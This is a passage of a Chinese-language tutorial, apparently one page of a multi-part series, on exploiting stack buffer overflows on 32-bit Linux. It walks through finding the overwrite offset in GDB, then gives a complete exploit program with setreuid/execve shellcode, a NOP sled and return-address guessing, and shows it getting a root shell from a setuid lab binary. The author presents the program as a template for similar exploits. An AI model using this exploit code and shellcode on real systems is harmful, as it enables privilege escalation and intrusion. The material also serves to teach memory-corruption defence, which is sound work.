我们具体来看.为了方便起见,我在程序中打印出了FUN函数的地址,当然也可以通过GDB 里disass fun来
得到这个地址,结果是一样的
[tt@ph4nt0m explab]$ ./stackdemo test
buf's 0xbfffe130
fun is at 0x 804835c
[tt@ph4nt0m explab]$
可以看到函数fun的入口地址在0x0804835c
所以我们这样来构造应该可以调用到函数fun
[tt@ph4nt0m explab]$ ./stackdemo `perl -e 'print "A"x28;print "\x5c\x83\x04\x08"'`
buf's 0xbfffe090
fun is at 0x 804835c
test,being hacked!!!
段错误
[tt@ph4nt0m explab]$
果然成功了!函数fun成功执行了!
通过上面的分析,我们已经基本上掌握了程序运行时,内存中的分布,那么,现在来看真正的攻击
我们通过覆盖EIP,改变程序流程,从而执行SHELLCODE,得到一个SHELL
下面介绍常用的三种方法.
1.NNNNNNNNNSSSSSSSSSSSRRRRRRRRRRRRRR型
这种方法适合于大缓冲区,是很传统的方法,记得ALPHA ONE在他的经典著作中就是用的这个方法
这里N代表NOPS,也就是0x90,在实际运行中,程序将什么也不做,而是一直延着这些NOPS运行下去,
直到遇到不是NOPS的指令再执行之.
使用大量NOPS的原因是为了增加EXPLOIT成功的机率.
S代表SHELLCODE,也就是我们要执行的一段代码,得到SHELL,SHELLCODE的相关问题请参考相关文档.
R代表返回地址,在下面我都用ret表示,是我们用来覆盖EIP的那个值,他将指向SHELLCODE
如前所述,这种方法适合于大的缓冲区,因为如果缓冲区太小,可能放不下SHELLCODE,那样就不能用RET来
正确的覆盖EIP,从而无法得到我们想要的结果.同时,就算能放下SHELLCODE,前面的NOPS放的太少,也
会大大影响EXPLOIT的成功率.
我们来看实际例子
[tt@ph4nt0m explab]$ cat stack2.c
#include<stdio.h>
int main(int argc,char **argv){
char buf[500];
strcpy(buf,argv[1]);
printf("buf's 0x%8x\n",&buf);
return 0;
}
[tt@ph4nt0m explab]$
我们设置了一个BUF为500字节的大BUFFER,用前面的方法,用GDB反汇编得到覆盖EIP
所需的字节.当然,这里为了演示我们还可以用另外一个方法:二分法
就是不断测试造成溢出所需字节数,来判断覆盖所需要字节
[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x500'`
buf's 0xbfffde50
[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x600'`
buf's 0xbfffebf0
段错误
[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x550'`
buf's 0xbfffe7a0
段错误
[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x530'`
buf's 0xbffff0c0
段错误
[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x520'`
buf's 0xbfffe440
[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x525'`
buf's 0xbfffe0c0
段错误
[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x524'`
buf's 0xbfffe1c0
段错误
[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x521'`
buf's 0xbfffe040
[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x522'`
buf's 0xbffff040
[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x523'`
buf's 0xbffff140
[tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x524'`
buf's 0xbfffeec0
段错误
[tt@ph4nt0m explab]$
这样,最后我们就确定了溢出点,和反汇编的结果一致
(gdb) r `perl -e 'print "A"x524'`
Starting program: /home/tt/explab/stack2 `perl -e 'print "A"x524'`
buf's 0xbfffd830
Program received signal SIGSEGV, Segmentation fault.
0x42015501 in __libc_start_main () from /lib/tls/libc.so.6
(gdb) i reg
eax 0x0 0
ecx 0x4212ee20 1108536864
edx 0x11 17
ebx 0x42130a14 1108544020
esp 0xbfffda40 0xbfffda40
ebp 0x41414141 0x41414141
esi 0x40015360 1073828704
edi 0x80483d9 134513625
eip 0x42015501 0x42015501
eflags 0x10202 66050
(gdb) disass main
Dump of assembler code for function main:
0x0804835c <main+0>: push %ebp
0x0804835d <main+1>: mov %esp,%ebp
0x0804835f <main+3>: sub $0x208,%esp ====>这里:0x208=520,所以524覆盖了EBP
0x08048365 <main+9>: and $0xfffffff0,%esp
0x08048368 <main+12>: mov $0x0,%eax
...... ......
这样,算法清楚后,就可以开始写我们的EXPLOIT了
下面是我写的一个演示的EXPLOIT,可以作为类似EXPLOIT的模板.
[tt@ph4nt0m explab]$ cat stackexp2.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
char shellcode[]=
// setreuid(0,0);
"\x31\xc0" // xor %eax,%eax
"\x31\xdb" // xor %ebx,%ebx
"\x31\xc9" // xor %ecx,%ecx
"\xb0\x46" // mov $0x46,%al
"\xcd\x80" // int $0x80
// execve /bin/sh
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx
"\x50" // push %eax
"\x53" // push %ebx
"\x8d\x0c\x24" // lea (%esp,1),%ecx
"\xb0\x0b" // mov $0xb,%al
"\xcd\x80" // int $0x80
// exit();
"\x31\xc0" // xor %eax,%eax
"\xb0\x01" // mov $0x1,%al
"\xcd\x80"; // int $0x80
unsigned long get_esp(){
__asm__("movl %esp,%eax");
}
int main(int argc,char *argv[]){
char buf[530];
char* p;
p=buf;
int i;
unsigned long ret;
int offset=0;
/* offset=400 will success */
if(argc>1)
offset=atoi(argv[1]);
ret=get_esp()-offset;
memset(buf,0x90,sizeof(buf));
memcpy(buf+524,(char*)&ret,4);
/* modify this value will modify nops and shellcode addr */
memcpy(buf+i+100,shellcode,strlen(shellcode));
printf("ret is at 0x%8x\n esp is at 0x%8x\n",ret,get_esp());
execl("./stack2","stack2",buf,NULL);
return 0;
}
[tt@ph4nt0m explab]$
先用
memset(buf,0x90,sizeof(buf));
把整个BUF填满NOPS
再
memcpy(buf+i+100,shellcode,strlen(shellcode));
从BUF[100]开始填充SHELLCODE,前面和后面都是NOPS
当然可以增大NOPS的数目,这可以修改100这个值,但是要记住不要让SHELLCODE把EIP给覆盖了!
再接下来就是
memcpy(buf+524,(char*)&ret,4);
把EIP用我们的RET覆盖,让程序跳转到NOPS里面,一直到执行我们的SHELLCODE
(前面不是提过NOPS的特性吗?)
最后就是用
execl("./stack2","stack2",buf,NULL);
来执行漏洞程序,并把我们精心构造的BUF拷贝进去了!
注意,EXPLOIT里面的BUF是我们自己精心构造的!
剩下的一个难点就是RET的值的确定
因为程序的流程已经很清楚了,但是RET是我们必需要小心控制的,因为他不能落到别的地方,必需落
到我们的NOPS里面!
这里使用的方法一般是ESP-OFFSET的方法
所以我们先
unsigned long get_esp(){
__asm__("movl %esp,%eax");
}
取得ESP的值,虽然这个值和EXECL后漏洞程序的ESP的值不同,但不会相差很远.然后再用OFFSET来调整,
这样就可以得到正确的RET值了.
我们打印出BUF的地址,因为我们的NOPS是从BUF开始的,所以只需要直到BUF的地址,把RET控制在&BUF+100
的范围内,就可以保证RET落在NOPS中!
具体可以通过GDB调试来看
(gdb) r
Starting program: /home/tt/explab/stackexp2
ret is at 0xbffff2c0
esp is at 0xbffff2f8
Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000be0 in _start () from /lib/ld-linux.so.2
(gdb) c
Continuing.
buf's 0xbfffea40
Program received signal SIGSEGV, Segmentation fault.
0xbffff2c0 in ?? ()
(gdb) i reg eip ebp esp
eip 0xbffff2c0 0xbffff2c0
ebp 0x90909090 0x90909090
esp 0xbfffec50 0xbfffec50
(gdb) x/50x $esp-532
0xbfffea3c: 0x00000000 0x90909090 0x90909090 0x90909090
0xbfffea4c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffea5c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffea6c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffea7c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffea8c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffea9c: 0x90909090 0x90909090 0xdb31c031 0x46b0c931
0xbfffeaac: 0xc03180cd 0x2f2f6850 0x2f686873 0x896e6962
0xbfffeabc: 0x24548de3 0x8d535008 0x0bb0240c 0xc03180cd
0xbfffeacc: 0x80cd01b0 0x90909090 0x90909090 0x90909090
0xbfffeadc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeaec: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeafc: 0x90909090 0x90909090
(gdb)
看到了我们的SHELLCODE了吧!
但是我们的RET没有跳到这里来,
(gdb) i reg eip ebp esp
eip 0xbffff2c0 0xbffff2c0
我们的RET现在跳到这里去了......
那么我们改变OFFSET
[tt@ph4nt0m explab]$ ./stackexp2
ret is at 0xbfffe0c0
esp is at 0xbfffe0f8
buf's 0xbfffd930
段错误
[tt@ph4nt0m explab]$ ./stackexp2 100
ret is at 0xbfffd7a4
esp is at 0xbfffd7f8
buf's 0xbfffd630
段错误
[tt@ph4nt0m explab]$ ./stackexp2 200
ret is at 0xbffff0c0
esp is at 0xbffff178
buf's 0xbfffefb0
段错误
[tt@ph4nt0m explab]$ ./stackexp2 300
ret is at 0xbfffeb5c
esp is at 0xbfffec78
buf's 0xbfffeab0
非法指令
[tt@ph4nt0m explab]$ ./stackexp2 400
ret is at 0xbfffd6f8
esp is at 0xbfffd878
buf's 0xbfffd6b0
sh-2.05b$
看!当我们的OFFSET到400时,就成功溢出拿到SHELL了!
为什么不是ROOT?
那是因为我们的漏洞程序stack2没有加上s位
当我们加上s位后
[tt@ph4nt0m explab]$ ls stack2 -l
-rwsrwsr-x 1 root root 11673 7月 21 15:42 stack2
[tt@ph4nt0m explab]$ ./stackexp2 400
ret is at 0xbfffd8f8
esp is at 0xbfffda78
buf's 0xbfffd8b0
sh-2.05b#
看!拿到ROOT SHELL了,中彩票了!!!
2.RRRRRRRRRRNNNNNNNNNNNSSSSSSSSSS型
这种方法同样适合于大的和小的缓冲区,而且RET地址容易计算,明显优于前一种方法!
原理是:
首先将整个BUF填满RET,一直到保证RET已经覆盖了EIP,接下来在RET之后紧跟大量的NOPS,
最后当然就是我们的SHELLCODE!
而RET地址在这里也非常好确定,因为整个BUF的大小是我们自给确定的(这里的BUF是我们构造
的BUF,而不是原来程序中的那个被溢出的BUF),所以只需要在BUF的起始地址再加上一个OFFSET
就可以让RET落在NOPS里面了.
我们看原来的第一个例子
[tt@ph4nt0m explab]$ cat stack1.c
#include<stdio.h>
int main(int argc,char **argv){
char buf[10];
strcpy(buf,argv[1]);
printf("buf's 0x%8x\n",&buf);
return 0;
}
[tt@ph4nt0m explab]$
在stack1.c里,buf只有10BYTES,就算加上GCC分配的填充物也只有28BYTES可以利用,很可能放
不下我们的SHELLCODE,所以第一种方法在这里就不适用了.
上一页 [1] [2] [3] 下一页